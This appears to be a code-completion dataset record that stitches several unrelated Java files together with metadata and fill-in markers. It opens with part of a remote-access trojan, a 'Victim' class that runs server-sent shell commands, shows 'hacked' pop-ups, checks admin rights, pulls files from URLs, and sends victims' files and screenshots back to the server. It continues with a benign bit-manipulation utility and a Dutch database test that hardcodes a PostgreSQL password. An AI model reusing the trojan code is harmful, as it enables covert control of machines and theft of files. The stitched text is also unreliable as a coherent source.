String s = responseLine.substring(i);
if (OS.contains("linux")) {
os.println("sending msgbox");
ExecuteMyCommand("zenity --error --text=\"" + s + "\\!\" --title=\"Warning\\!\"");
os.println("answer msgbox succes");
} else if (OS.contains("windows")) {
os.println("sending msgbox");
ExecuteMyCommand("mshta \"javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( '" + s + "', 10, 'hacked', 64 );close()\"");
os.println("answer msgbox succes");
} else {
os.println("sending msgbox possibly faild");
}
} catch (Exception e) {
os.println("sending msgbox faild");
}
}
if (responseLine.contains("list info")) {
if (OS.contains("windows")) {
if (isAdmin() == true) {
os.println("online " + whoami + " = " + OS + " admin?= administrator");
} else {
os.println("online " + whoami + " = " + OS + " = admin?= not administrator");
}
}else{
os.println("online " + whoami + " = " + OS + " = admin?= ???");
}
}
if (responseLine.contains(whoami + "exit")) {
System.exit(0);
}
}
} catch (IOException e) {
System.err.println("IOException: " + e);
} catch (AWTException ex) {
Logger.getLogger(Victim.class.getName()).log(Level.SEVERE, null, ex);
}
System.err.println("Connection lost from " + whoami);
closed = true;
}
public static String ExecuteMyCommand(String commando) { // hier sturen<SUF>
try {
if (commando.length() < 1) {
return "Geen commndo probeer opnieuw.";
}
String outputlines = "";
if (OS.contains("windows")) {
Process p = Runtime.getRuntime().exec("cmd /c " + commando);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String regel = "";
while ((regel = br.readLine()) != null) {
outputlines += regel + "\n"; // System.err.println(regel);
}
return outputlines;
}
Process p = Runtime.getRuntime().exec(commando);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String regel = "";
while ((regel = br.readLine()) != null) {
outputlines += regel + "\n"; // System.err.println(regel);
}
return outputlines;
} catch (IOException ex) {
return ex.getMessage();
}
}
public static boolean isAdmin() { // checken of de user een administrator is. werkt alleen met windows
String groups[] = (new com.sun.security.auth.module.NTSystem()).getGroupIDs();
for (String group : groups) {
if (group.equals("S-1-5-32-544")) {
return true;
}
}
return false;
}
public static String upload(String file) throws IOException { // uploaden naar victim via url
temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
URL url = new URL(file);
InputStream in = url.openStream();
Files.copy(in, Paths.get(temp.getAbsolutePath()), StandardCopyOption.REPLACE_EXISTING);
in.close();
return temp.getAbsolutePath();
}
public static String download(String file) throws IOException { // downloaden van victim naar server
try {
File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
Path fileLocationzip = Paths.get(ziptemp.toString());
// input file
FileInputStream in = new FileInputStream(file);
// out put file
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
// name the file inside the zip file
out.putNextEntry(new ZipEntry("file"));
// buffer size
byte[] b = new byte[1024];
int count;
while ((count = in.read(b)) > 0) {
out.write(b, 0, count);
}
out.close();
in.close();
byte[] zipdata = Files.readAllBytes(fileLocationzip);
String base64encoded = Base64.getEncoder().encodeToString(zipdata);
return base64encoded;
} catch (IOException e) {
System.err.println("file doesnt exist");
}
return "";
}
public static String screenshot() throws IOException, AWTException { // een screenshot nemen van het standart scherm en sturen naar server.
temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
BufferedImage capture = new Robot().createScreenCapture(screenRect);
ImageIO.write(capture, "bmp", new File(temp.toString()));
Path fileLocationzip = Paths.get(ziptemp.toString());
// input file
FileInputStream in = new FileInputStream(temp);
// out put file
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
// name the file inside the zip file
out.putNextEntry(new ZipEntry("screenshot.bmp"));
// buffer size
byte[] b = new byte[1024];
int count;
while ((count = in.read(b)) > 0) {
out.write(b, 0, count);
}
out.close();
in.close();
byte[] data = Files.readAllBytes(fileLocationzip);
String base64encoded = Base64.getEncoder().encodeToString(data);
return base64encoded;
//
//
//
}
// public static String webcamshot() throws IOException, AWTException {
// temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
//
// // not compleet here the picture placing!
// File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
// Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
// BufferedImage capture = new Robot().createScreenCapture(screenRect);
// ImageIO.write(capture, "bmp", new File(temp.toString()));
// Path fileLocationzip = Paths.get(ziptemp.toString());
// // input file
// FileInputStream in = new FileInputStream(temp);
//
// // out put file
// ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
//
// // name the file inside the zip file
// out.putNextEntry(new ZipEntry("webcamshot.png"));
//
// // buffer size
// byte[] b = new byte[1024];
// int count;
//
// while ((count = in.read(b)) > 0) {
// out.write(b, 0, count);
// }
// out.close();
// in.close();
//
// byte[] data = Files.readAllBytes(fileLocationzip);
// String base64encoded = Base64.getEncoder().encodeToString(data);
// return base64encoded;
//
//
//
// public static void Base64DecodeAndExtractZip(String a) throws IOException {
// temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
// byte[] Decoded = Base64.getDecoder().decode(a);
// FileOutputStream fos = new FileOutputStream(temp);
// fos.write(Decoded);
// fos.close();
// System.out.println("location of file or picture: " + zipextract(temp.toString()));
// }
//
// public static String zipextract(String z) {
// File dir = new File(temp + "folder");
// try {
// ZipFile zipFile = new ZipFile(temp.getAbsolutePath());
// zipFile.extractAll(temp.getAbsolutePath() + "folder");
// } catch (ZipException e) {
// e.printStackTrace();
// }
// return temp + "folder";
// }
}
|
109818_17 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package tech.odes.common.util;
/**
* A variety of high efficiency bit twiddling routines.
*
* 2021-11-09 Town(airtosupply@126.com)
*/
public final class BitUtil {
// magic numbers for bit interleaving
private static final long MAGIC[] = {
0x5555555555555555L, 0x3333333333333333L,
0x0F0F0F0F0F0F0F0FL, 0x00FF00FF00FF00FFL,
0x0000FFFF0000FFFFL, 0x00000000FFFFFFFFL,
0xAAAAAAAAAAAAAAAAL
};
// shift values for bit interleaving
private static final short SHIFT[] = {1, 2, 4, 8, 16};
private BitUtil() {} // no instance
// The pop methods used to rely on bit-manipulation tricks for speed but it
// turns out that it is faster to use the Long.bitCount method (which is an
// intrinsic since Java 6u18) in a naive loop, see LUCENE-2221
/** Returns the number of set bits in an array of longs. */
public static long pop_array(long[] arr, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of the two sets after an intersection.
* Neither array is modified. */
public static long pop_intersect(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] & arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of the union of two sets.
* Neither array is modified. */
public static long pop_union(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] | arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of {@code A & ~B}.
* Neither array is modified. */
public static long pop_andnot(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] & ~arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of A ^ B
* Neither array is modified. */
public static long pop_xor(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] ^ arr2[i]);
}
return popCount;
}
/** returns the next highest power of two, or the current value if it's already a power of two or zero*/
public static int nextHighestPowerOfTwo(int v) {
v--;
v |= v >> 1;
v |= v >> 2;
v |= v >> 4;
v |= v >> 8;
v |= v >> 16;
v++;
return v;
}
/** returns the next highest power of two, or the current value if it's already a power of two or zero*/
public static long nextHighestPowerOfTwo(long v) {
v--;
v |= v >> 1;
v |= v >> 2;
v |= v >> 4;
v |= v >> 8;
v |= v >> 16;
v |= v >> 32;
v++;
return v;
}
/**
* Interleaves the first 32 bits of each long value
*
* Adapted from: http://graphics.stanford.edu/~seander/bithacks.html#InterleaveBMN
*/
public static long interleave(int even, int odd) {
long v1 = 0x00000000FFFFFFFFL & even;
long v2 = 0x00000000FFFFFFFFL & odd;
v1 = (v1 | (v1 << SHIFT[4])) & MAGIC[4];
v1 = (v1 | (v1 << SHIFT[3])) & MAGIC[3];
v1 = (v1 | (v1 << SHIFT[2])) & MAGIC[2];
v1 = (v1 | (v1 << SHIFT[1])) & MAGIC[1];
v1 = (v1 | (v1 << SHIFT[0])) & MAGIC[0];
v2 = (v2 | (v2 << SHIFT[4])) & MAGIC[4];
v2 = (v2 | (v2 << SHIFT[3])) & MAGIC[3];
v2 = (v2 | (v2 << SHIFT[2])) & MAGIC[2];
v2 = (v2 | (v2 << SHIFT[1])) & MAGIC[1];
v2 = (v2 | (v2 << SHIFT[0])) & MAGIC[0];
return (v2<<1) | v1;
}
/**
* Extract just the even-bits value as a long from the bit-interleaved value
*/
public static long deinterleave(long b) {
b &= MAGIC[0];
b = (b ^ (b >>> SHIFT[0])) & MAGIC[1];
b = (b ^ (b >>> SHIFT[1])) & MAGIC[2];
b = (b ^ (b >>> SHIFT[2])) & MAGIC[3];
b = (b ^ (b >>> SHIFT[3])) & MAGIC[4];
b = (b ^ (b >>> SHIFT[4])) & MAGIC[5];
return b;
}
/**
* flip flops odd with even bits
*/
public static final long flipFlop(final long b) {
return ((b & MAGIC[6]) >>> 1) | ((b & MAGIC[0]) << 1 );
}
/** Same as {@link #zigZagEncode(long)} but on integers. */
public static int zigZagEncode(int i) {
return (i >> 31) ^ (i << 1);
}
/**
* <a href="https://developers.google.com/protocol-buffers/docs/encoding#types">Zig-zag</a>
* encode the provided long. Assuming the input is a signed long whose
* absolute value can be stored on <tt>n</tt> bits, the returned value will
* be an unsigned long that can be stored on <tt>n+1</tt> bits.
*/
public static long zigZagEncode(long l) {
return (l >> 63) ^ (l << 1);
}
/** Decode an int previously encoded with {@link #zigZagEncode(int)}. */
public static int zigZagDecode(int i) {
return ((i >>> 1) ^ -(i & 1));
}
/** Decode a long previously encoded with {@link #zigZagEncode(long)}. */
public static long zigZagDecode(long l) {
return ((l >>> 1) ^ -(l & 1));
}
/**
* Returns whether the bit at given zero-based index is set.
* <br>Example: bitIndex 66 means the third bit on the right of the second long.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to 0,
* and strictly less than {@code numLongs * Long.SIZE}.
*/
public static boolean isBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex < numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
return (bits[bitIndex / Long.SIZE] & (1L << bitIndex)) != 0; // Shifts are mod 64.
}
/**
* Counts all bits set in the provided longs.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
*/
public static int countBits(long[] bits, int numLongs) {
assert numLongs >= 0 && numLongs <= bits.length
: "numLongs=" + numLongs + " bits.length=" + bits.length;
int bitCount = 0;
for (int i = 0; i < numLongs; i++) {
bitCount += Long.bitCount(bits[i]);
}
return bitCount;
}
/**
* Counts the bits set up to the given bit zero-based index, exclusive.
* <br>In other words, how many 1s there are up to the bit at the given index excluded.
* <br>Example: bitIndex 66 means the third bit on the right of the second long.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index, exclusive. It must be greater than or equal to 0,
* and less than or equal to {@code numLongs * Long.SIZE}.
*/
public static int countBitsUpTo(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex <= numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int bitCount = 0;
int lastLong = bitIndex / Long.SIZE;
for (int i = 0; i < lastLong; i++) {
// Count the bits set for all plain longs.
bitCount += Long.bitCount(bits[i]);
}
if (lastLong < numLongs) {
// Prepare a mask with 1s on the right up to bitIndex exclusive.
long mask = (1L << bitIndex) - 1L; // Shifts are mod 64.
// Count the bits set only within the mask part, so up to bitIndex exclusive.
bitCount += Long.bitCount(bits[lastLong] & mask);
}
return bitCount;
}
/**
* Returns the index of the next bit set following the given bit zero-based index.
* <br>For example with bits 100011:
* the next bit set after index=-1 is at index=0;
* the next bit set after index=0 is at index=1;
* the next bit set after index=1 is at index=5;
* there is no next bit set after index=5.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to -1,
* and strictly less than {@code numLongs * Long.SIZE}.
* @return The zero-based index of the next bit set after the provided {@code bitIndex};
* or -1 if none.
*/
public static int nextBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= -1 && bitIndex < numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int longIndex = bitIndex / Long.SIZE;
// Prepare a mask with 1s on the left down to bitIndex exclusive.
long mask = -(1L << (bitIndex + 1)); // Shifts are mod 64.
long l = mask == -1 && bitIndex != -1 ? 0 : bits[longIndex] & mask;
while (l == 0) {
if (++longIndex == numLongs) {
return -1;
}
l = bits[longIndex];
}
return Long.numberOfTrailingZeros(l) + longIndex * 64;
}
/**
* Returns the index of the previous bit set preceding the given bit zero-based index.
* <br>For example with bits 100011:
* there is no previous bit set before index=0.
* the previous bit set before index=1 is at index=0;
* the previous bit set before index=5 is at index=1;
* the previous bit set before index=64 is at index=5;
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to 0,
* and less than or equal to {@code numLongs * Long.SIZE}.
* @return The zero-based index of the previous bit set before the provided {@code bitIndex};
* or -1 if none.
*/
public static int previousBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex <= numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int longIndex = bitIndex / Long.SIZE;
long l;
if (longIndex == numLongs) {
l = 0;
} else {
// Prepare a mask with 1s on the right up to bitIndex exclusive.
long mask = (1L << bitIndex) - 1L; // Shifts are mod 64.
l = bits[longIndex] & mask;
}
while (l == 0) {
if (longIndex-- == 0) {
return -1;
}
l = bits[longIndex];
}
return 63 - Long.numberOfLeadingZeros(l) + longIndex * 64;
}
}
| AirToSupply/hudi-spark-plus | src/main/java/tech/odes/common/util/BitUtil.java | 4,049 | /** Same as {@link #zigZagEncode(long)} but on integers. */ | block_comment | nl | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package tech.odes.common.util;
/**
* A variety of high efficiency bit twiddling routines.
*
* 2021-11-09 Town(airtosupply@126.com)
*/
public final class BitUtil {
// magic numbers for bit interleaving
private static final long MAGIC[] = {
0x5555555555555555L, 0x3333333333333333L,
0x0F0F0F0F0F0F0F0FL, 0x00FF00FF00FF00FFL,
0x0000FFFF0000FFFFL, 0x00000000FFFFFFFFL,
0xAAAAAAAAAAAAAAAAL
};
// shift values for bit interleaving
private static final short SHIFT[] = {1, 2, 4, 8, 16};
private BitUtil() {} // no instance
// The pop methods used to rely on bit-manipulation tricks for speed but it
// turns out that it is faster to use the Long.bitCount method (which is an
// intrinsic since Java 6u18) in a naive loop, see LUCENE-2221
/** Returns the number of set bits in an array of longs. */
public static long pop_array(long[] arr, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of the two sets after an intersection.
* Neither array is modified. */
public static long pop_intersect(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] & arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of the union of two sets.
* Neither array is modified. */
public static long pop_union(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] | arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of {@code A & ~B}.
* Neither array is modified. */
public static long pop_andnot(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] & ~arr2[i]);
}
return popCount;
}
/** Returns the popcount or cardinality of A ^ B
* Neither array is modified. */
public static long pop_xor(long[] arr1, long[] arr2, int wordOffset, int numWords) {
long popCount = 0;
for (int i = wordOffset, end = wordOffset + numWords; i < end; ++i) {
popCount += Long.bitCount(arr1[i] ^ arr2[i]);
}
return popCount;
}
/** returns the next highest power of two, or the current value if it's already a power of two or zero*/
public static int nextHighestPowerOfTwo(int v) {
v--;
v |= v >> 1;
v |= v >> 2;
v |= v >> 4;
v |= v >> 8;
v |= v >> 16;
v++;
return v;
}
/** returns the next highest power of two, or the current value if it's already a power of two or zero*/
public static long nextHighestPowerOfTwo(long v) {
v--;
v |= v >> 1;
v |= v >> 2;
v |= v >> 4;
v |= v >> 8;
v |= v >> 16;
v |= v >> 32;
v++;
return v;
}
/**
* Interleaves the first 32 bits of each long value
*
* Adapted from: http://graphics.stanford.edu/~seander/bithacks.html#InterleaveBMN
*/
public static long interleave(int even, int odd) {
long v1 = 0x00000000FFFFFFFFL & even;
long v2 = 0x00000000FFFFFFFFL & odd;
v1 = (v1 | (v1 << SHIFT[4])) & MAGIC[4];
v1 = (v1 | (v1 << SHIFT[3])) & MAGIC[3];
v1 = (v1 | (v1 << SHIFT[2])) & MAGIC[2];
v1 = (v1 | (v1 << SHIFT[1])) & MAGIC[1];
v1 = (v1 | (v1 << SHIFT[0])) & MAGIC[0];
v2 = (v2 | (v2 << SHIFT[4])) & MAGIC[4];
v2 = (v2 | (v2 << SHIFT[3])) & MAGIC[3];
v2 = (v2 | (v2 << SHIFT[2])) & MAGIC[2];
v2 = (v2 | (v2 << SHIFT[1])) & MAGIC[1];
v2 = (v2 | (v2 << SHIFT[0])) & MAGIC[0];
return (v2<<1) | v1;
}
/**
* Extract just the even-bits value as a long from the bit-interleaved value
*/
public static long deinterleave(long b) {
b &= MAGIC[0];
b = (b ^ (b >>> SHIFT[0])) & MAGIC[1];
b = (b ^ (b >>> SHIFT[1])) & MAGIC[2];
b = (b ^ (b >>> SHIFT[2])) & MAGIC[3];
b = (b ^ (b >>> SHIFT[3])) & MAGIC[4];
b = (b ^ (b >>> SHIFT[4])) & MAGIC[5];
return b;
}
/**
* flip flops odd with even bits
*/
public static final long flipFlop(final long b) {
return ((b & MAGIC[6]) >>> 1) | ((b & MAGIC[0]) << 1 );
}
/** Same as {@link<SUF>*/
public static int zigZagEncode(int i) {
return (i >> 31) ^ (i << 1);
}
/**
* <a href="https://developers.google.com/protocol-buffers/docs/encoding#types">Zig-zag</a>
* encode the provided long. Assuming the input is a signed long whose
* absolute value can be stored on <tt>n</tt> bits, the returned value will
* be an unsigned long that can be stored on <tt>n+1</tt> bits.
*/
public static long zigZagEncode(long l) {
return (l >> 63) ^ (l << 1);
}
/** Decode an int previously encoded with {@link #zigZagEncode(int)}. */
public static int zigZagDecode(int i) {
return ((i >>> 1) ^ -(i & 1));
}
/** Decode a long previously encoded with {@link #zigZagEncode(long)}. */
public static long zigZagDecode(long l) {
return ((l >>> 1) ^ -(l & 1));
}
/**
* Returns whether the bit at given zero-based index is set.
* <br>Example: bitIndex 66 means the third bit on the right of the second long.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to 0,
* and strictly less than {@code numLongs * Long.SIZE}.
*/
public static boolean isBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex < numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
return (bits[bitIndex / Long.SIZE] & (1L << bitIndex)) != 0; // Shifts are mod 64.
}
/**
* Counts all bits set in the provided longs.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
*/
public static int countBits(long[] bits, int numLongs) {
assert numLongs >= 0 && numLongs <= bits.length
: "numLongs=" + numLongs + " bits.length=" + bits.length;
int bitCount = 0;
for (int i = 0; i < numLongs; i++) {
bitCount += Long.bitCount(bits[i]);
}
return bitCount;
}
/**
* Counts the bits set up to the given bit zero-based index, exclusive.
* <br>In other words, how many 1s there are up to the bit at the given index excluded.
* <br>Example: bitIndex 66 means the third bit on the right of the second long.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index, exclusive. It must be greater than or equal to 0,
* and less than or equal to {@code numLongs * Long.SIZE}.
*/
public static int countBitsUpTo(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex <= numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int bitCount = 0;
int lastLong = bitIndex / Long.SIZE;
for (int i = 0; i < lastLong; i++) {
// Count the bits set for all plain longs.
bitCount += Long.bitCount(bits[i]);
}
if (lastLong < numLongs) {
// Prepare a mask with 1s on the right up to bitIndex exclusive.
long mask = (1L << bitIndex) - 1L; // Shifts are mod 64.
// Count the bits set only within the mask part, so up to bitIndex exclusive.
bitCount += Long.bitCount(bits[lastLong] & mask);
}
return bitCount;
}
/**
* Returns the index of the next bit set following the given bit zero-based index.
* <br>For example with bits 100011:
* the next bit set after index=-1 is at index=0;
* the next bit set after index=0 is at index=1;
* the next bit set after index=1 is at index=5;
* there is no next bit set after index=5.
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to -1,
* and strictly less than {@code numLongs * Long.SIZE}.
* @return The zero-based index of the next bit set after the provided {@code bitIndex};
* or -1 if none.
*/
public static int nextBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= -1 && bitIndex < numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int longIndex = bitIndex / Long.SIZE;
// Prepare a mask with 1s on the left down to bitIndex exclusive.
long mask = -(1L << (bitIndex + 1)); // Shifts are mod 64.
long l = mask == -1 && bitIndex != -1 ? 0 : bits[longIndex] & mask;
while (l == 0) {
if (++longIndex == numLongs) {
return -1;
}
l = bits[longIndex];
}
return Long.numberOfTrailingZeros(l) + longIndex * 64;
}
/**
* Returns the index of the previous bit set preceding the given bit zero-based index.
* <br>For example with bits 100011:
* there is no previous bit set before index=0.
* the previous bit set before index=1 is at index=0;
* the previous bit set before index=5 is at index=1;
* the previous bit set before index=64 is at index=5;
*
* @param bits The bits stored in an array of long for efficiency.
* @param numLongs The number of longs in {@code bits} to consider.
* @param bitIndex The bit zero-based index. It must be greater than or equal to 0,
* and less than or equal to {@code numLongs * Long.SIZE}.
* @return The zero-based index of the previous bit set before the provided {@code bitIndex};
* or -1 if none.
*/
public static int previousBitSet(long[] bits, int numLongs, int bitIndex) {
assert numLongs >= 0 && numLongs <= bits.length && bitIndex >= 0 && bitIndex <= numLongs * Long.SIZE
: "bitIndex=" + bitIndex + " numLongs=" + numLongs + " bits.length=" + bits.length;
int longIndex = bitIndex / Long.SIZE;
long l;
if (longIndex == numLongs) {
l = 0;
} else {
// Prepare a mask with 1s on the right up to bitIndex exclusive.
long mask = (1L << bitIndex) - 1L; // Shifts are mod 64.
l = bits[longIndex] & mask;
}
while (l == 0) {
if (longIndex-- == 0) {
return -1;
}
l = bits[longIndex];
}
return 63 - Long.numberOfLeadingZeros(l) + longIndex * 64;
}
}
|
26148_16 | import org.postgresql.shaded.com.ongres.scram.common.ScramAttributes;
import org.w3c.dom.ls.LSOutput;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws SQLException{
String url = "jdbc:postgresql://localhost/ovchip?user=postgres&password=rJFQu34u";
Connection conn;
conn = DriverManager.getConnection(url);
ReizigerDAO reizigerDAOPsql = new ReizigerDAOPsql(conn);
AdresDAO adresDAOPsql = new AdresDAOPsql(conn);
OVChipkaartDAO ovChipkaartDAOsql = new OVChipkaartDAOPsql(conn);
ProductDAO productDAOsql = new ProductDAOPsql(conn);
testReizigerDAO(reizigerDAOPsql);
testAdresDAO(adresDAOPsql, reizigerDAOPsql);
testOVchipkaartDAO(adresDAOPsql, reizigerDAOPsql, ovChipkaartDAOsql);
testProductDAO(productDAOsql, ovChipkaartDAOsql);
}
private static void testReizigerDAO( ReizigerDAO rdao) throws SQLException {
System.out.println("\n---------- Test ReizigerDAO -------------");
// Haal alle reizigers op uit de database
List<Reiziger> reizigers = rdao.findAll();
System.out.println("[Test] ReizigerDAO.findAll() geeft de volgende reizigers:");
for (Reiziger r : reizigers) {
System.out.println(r);
}
// Maak een nieuwe reiziger aan en persisteer deze in de database
String gbdatum = "1981-03-14";
Reiziger sietske = new Reiziger(77, "S", "", "Boers", gbdatum);
System.out.print("[Test] Eerst " + reizigers.size() + " reizigers, na ReizigerDAO.save() ");
rdao.save(sietske);
reizigers = rdao.findAll();
System.out.println(reizigers.size() + " reizigers\n");
// Voeg aanvullende tests van de ontbrekende CRUD-operaties in.
//Hier word een reiziger geruturned op basis van de aangegeven ID.
System.out.println("De {TEST} van de functie findById met ID 77" + "\n" + "---------------------------------------");
System.out.println(rdao.findById(77));
System.out.println("De {TEST} van de functie findByGbdatum()" + "\n" + "---------------------------------------");
for (Reiziger r: rdao.findByGbdatum("1981-03-14")
) {
System.out.println(r);
}
// De gegevens van een bestaande reiziger worden aangepast in een database.
String geboorteDatum = "1950-04-12";
sietske.setGeboortedatum(geboorteDatum);
rdao.update(sietske);
System.out.println("Reiziger Sietske is geupdate in de database.");
// De verwijder een specifieke reiziger uit de database.
System.out.println("De {TEST} van de functie delte() rsultaten" + "\n" + "------------------------------------");
try {
rdao.delete(sietske);
System.out.println("Reiziger is met succes verwijderd");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de reiziger te verwijderen.");
e.printStackTrace();
}
}
private static void testAdresDAO(AdresDAO adresDAO, ReizigerDAO rdao) throws SQLException{
System.out.println("Hier beginnen de test's van de Adres klasse" + "\n" + "------------------------------------------------" );
// Haal alle reizigers op uit de database
System.out.println("Hier begint de test van de .save() functie van de adresDAO" + "\n" + "------------------------------------------------" );
List<Adres> adressen = adresDAO.findAll();
System.out.println("[Test] adresDAO.findAll() geeft de volgende Adressen:");
for (Adres a : adressen) {
System.out.println(a);
}
// Hier wordt een nieuw adres aangemaakt en deze word opgeslagen in de database.
System.out.println("Hier begint de test van de .save() functie van de adresDAO" + "\n" + "------------------------------------------------" );
String gbDatum = "1997-10-24";
Reiziger reizigerA = new Reiziger(6, "A","", "Ait Si'Mhand", gbDatum );
rdao.save(reizigerA);
Adres adresAchraf = new Adres(6, "2964BL", "26", "Irenestraat", "Groot-Ammers");
reizigerA.setAdres(adresAchraf);
System.out.print("[Test] Eerst " + adressen.size() + " adressen, na AdresDAO.save()");
adresDAO.save(adresAchraf);
List<Adres> adressenNaUpdate = adresDAO.findAll();
System.out.println(adressenNaUpdate.size() + " reizigers\n");
//Hier wordt de update() functie van Adres aangeroepen en getest.
System.out.println("Hier begint de test van de update functie van de adres klasse" + "\n" + "------------------------------------------------" );
adresAchraf.setHuisnummer("30");
try{
adresDAO.update(adresAchraf);
System.out.println("Het adres is geupdate.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om het adres te updaten in de database");
e.printStackTrace();
}
//Hier wordt de functie .findbyreiziger() getest.
System.out.println("Hier begint de test van de .findByReiziger() functie van de adresDAO" + "\n" + "------------------------------------------------" );
try {
adresDAO.findByReiziger(reizigerA);
System.out.println("Adres is opgehaald.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de het adres te vinden bij de reiziger.");
e.printStackTrace();
}
